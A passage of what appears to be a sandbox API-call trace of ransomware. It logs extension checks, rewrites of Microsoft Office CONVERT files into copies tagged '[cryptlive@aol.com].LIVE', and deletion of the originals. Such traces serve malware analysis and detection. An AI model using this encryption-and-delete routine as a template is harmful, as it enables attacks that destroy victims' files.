returned 66 [0152.690] lstrlenW (lpString=".doc") returned 4 [0152.690] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.690] lstrlenW (lpString=".docx") returned 5 [0152.690] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.690] lstrlenW (lpString=".pdf") returned 4 [0152.690] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.690] lstrlenW (lpString=".xls") returned 4 [0152.690] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.690] lstrlenW (lpString=".xlsx") returned 5 [0152.690] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.690] lstrlenW (lpString=".ppt") returned 4 [0152.690] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.690] lstrlenW (lpString=".zip") returned 4 [0152.690] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.690] lstrlenW (lpString=".rar") returned 4 [0152.690] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.690] lstrlenW (lpString=".bz2") returned 4 [0152.690] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.690] lstrlenW (lpString=".7z") returned 3 [0152.690] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.690] lstrlenW (lpString=".dbf") returned 4 [0152.690] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString=".1cd") returned 4 [0152.691] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString=".jpg") returned 4 [0152.691] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString=".doc") returned 4 [0152.691] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.691] lstrlenW (lpString=".docx") returned 5 [0152.691] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.691] lstrlenW (lpString=".pdf") returned 4 [0152.691] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString=".xls") returned 4 [0152.691] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString=".xlsx") returned 5 [0152.691] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.691] lstrlenW (lpString=".ppt") returned 4 [0152.691] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString=".zip") returned 4 [0152.691] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString=".rar") returned 4 [0152.691] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.691] lstrlenW (lpString=".bz2") returned 4 [0152.691] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.691] lstrlenW (lpString=".7z") returned 3 [0152.691] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.691] lstrlenW (lpString=".dbf") returned 4 [0152.691] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.692] lstrlenW (lpString=".1cd") returned 4 [0152.692] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.692] lstrlenW (lpString=".jpg") returned 4 [0152.692] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.692] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.692] lstrlenW (lpString="OLR.SAM") returned 7 [0152.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.692] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15760) returned 1 [0152.692] CloseHandle (hObject=0x3b4) returned 1 [0152.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20 [0152.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.693] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.693] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0152.694] GetLastError () returned 0x0 [0152.694] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0152.735] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0152.736] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.736] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0152.736] SetEndOfFile (hFile=0x1b0) returned 1 [0152.736] CloseHandle (hObject=0x1b0) returned 1 [0152.736] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.736] SetEndOfFile (hFile=0x3b4) returned 1 [0152.739] CloseHandle (hObject=0x3b4) returned 1 [0152.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 1 [0152.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.740] lstrlenW (lpString=".doc") returned 4 [0152.740] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.740] lstrlenW (lpString=".docx") returned 5 [0152.740] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.740] lstrlenW (lpString=".pdf") returned 4 [0152.740] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.740] lstrlenW (lpString=".xls") returned 4 [0152.740] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.740] lstrlenW (lpString=".xlsx") returned 5 [0152.740] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.740] lstrlenW (lpString=".ppt") returned 4 [0152.740] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.740] lstrlenW (lpString=".zip") returned 4 [0152.740] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.740] lstrlenW (lpString=".rar") returned 4 [0152.741] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString=".bz2") returned 4 [0152.741] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString=".7z") returned 3 [0152.741] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString=".dbf") returned 4 [0152.741] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString=".1cd") returned 4 [0152.741] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString=".jpg") returned 4 [0152.741] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString=".doc") returned 4 [0152.741] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString=".docx") returned 5 [0152.741] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.741] lstrlenW (lpString=".pdf") returned 4 [0152.741] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString=".xls") returned 4 [0152.741] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.741] lstrlenW (lpString=".xlsx") returned 5 [0152.741] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.741] lstrlenW (lpString=".ppt") returned 4 [0152.741] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.741] lstrlenW (lpString=".zip") returned 4 [0152.741] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.741] lstrlenW (lpString=".rar") returned 4 [0152.741] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.741] lstrlenW (lpString=".bz2") returned 4 [0152.742] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.742] lstrlenW (lpString=".7z") returned 3 [0152.742] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.742] lstrlenW (lpString=".dbf") returned 4 [0152.742] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.742] lstrlenW (lpString=".1cd") returned 4 [0152.742] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0152.742] lstrlenW (lpString=".jpg") returned 4 [0152.742] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.742] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.742] lstrlenW (lpString="PABR.SAM") returned 8 [0152.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.743] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11144) returned 1 [0152.743] CloseHandle (hObject=0x3b4) returned 1 [0152.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20 [0152.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.744] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.744] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0152.745] GetLastError () returned 0x0 [0152.745] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x2b88, lpOverlapped=0x0) returned 1 [0152.782] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0152.783] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.783] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0152.783] SetEndOfFile (hFile=0x1b0) returned 1 [0152.783] CloseHandle (hObject=0x1b0) returned 1 [0152.783] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.784] SetEndOfFile (hFile=0x3b4) returned 1 [0152.787] CloseHandle (hObject=0x3b4) returned 1 [0152.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 1 [0152.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.788] lstrlenW (lpString=".doc") returned 4 [0152.788] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.788] lstrlenW (lpString=".docx") returned 5 [0152.788] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.788] lstrlenW (lpString=".pdf") returned 4 [0152.788] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.788] lstrlenW (lpString=".xls") returned 4 [0152.788] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.788] lstrlenW (lpString=".xlsx") returned 5 [0152.788] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.789] lstrlenW (lpString=".ppt") returned 4 [0152.789] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString=".zip") returned 4 [0152.789] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.789] lstrlenW (lpString=".rar") returned 4 [0152.789] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString=".bz2") returned 4 [0152.789] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString=".7z") returned 3 [0152.789] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString=".dbf") returned 4 [0152.789] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString=".1cd") returned 4 [0152.789] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString=".jpg") returned 4 [0152.789] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.789] lstrlenW (lpString=".doc") returned 4 [0152.789] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString=".docx") returned 5 [0152.789] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.789] lstrlenW (lpString=".pdf") returned 4 [0152.789] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.789] lstrlenW (lpString=".xls") returned 4 [0152.789] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.789] lstrlenW (lpString=".xlsx") returned 5 [0152.789] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.789] lstrlenW (lpString=".ppt") returned 4 [0152.790] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.790] lstrlenW (lpString=".zip") returned 4 [0152.790] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.790] lstrlenW (lpString=".rar") returned 4 [0152.790] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.790] lstrlenW (lpString=".bz2") returned 4 [0152.790] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.790] lstrlenW (lpString=".7z") returned 3 [0152.790] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.790] lstrlenW (lpString=".dbf") returned 4 [0152.790] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.790] lstrlenW (lpString=".1cd") returned 4 [0152.790] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0152.790] lstrlenW (lpString=".jpg") returned 4 [0152.790] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.790] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.790] lstrlenW (lpString="ACT3.SAM") returned 8 [0152.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.791] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=90488) returned 1 [0152.791] CloseHandle (hObject=0x3b4) returned 1 [0152.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 0x20 [0152.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.791] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.791] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0152.800] GetLastError () returned 0x0 [0152.800] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x16178, lpOverlapped=0x0) returned 1 [0152.817] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x16180, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x16180, lpOverlapped=0x0) returned 1 [0152.819] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.819] WriteFile (in: hFile=0x1b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0152.820] SetEndOfFile (hFile=0x1b0) returned 1 [0152.820] CloseHandle (hObject=0x1b0) returned 1 [0152.820] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.820] SetEndOfFile (hFile=0x3b4) returned 1 [0152.824] CloseHandle (hObject=0x3b4) returned 1 [0152.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.826] lstrlenW (lpString=".doc") returned 4 [0152.826] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.826] lstrlenW (lpString=".docx") returned 5 [0152.826] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0152.826] lstrlenW (lpString=".pdf") returned 4 [0152.826] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.826] lstrlenW (lpString=".xls") returned 4 [0152.826] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.826] lstrlenW (lpString=".xlsx") returned 5 [0152.826] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0152.826] lstrlenW (lpString=".ppt") returned 4 [0152.826] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0152.826] lstrlenW (lpString=".zip") returned 4 [0152.826] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 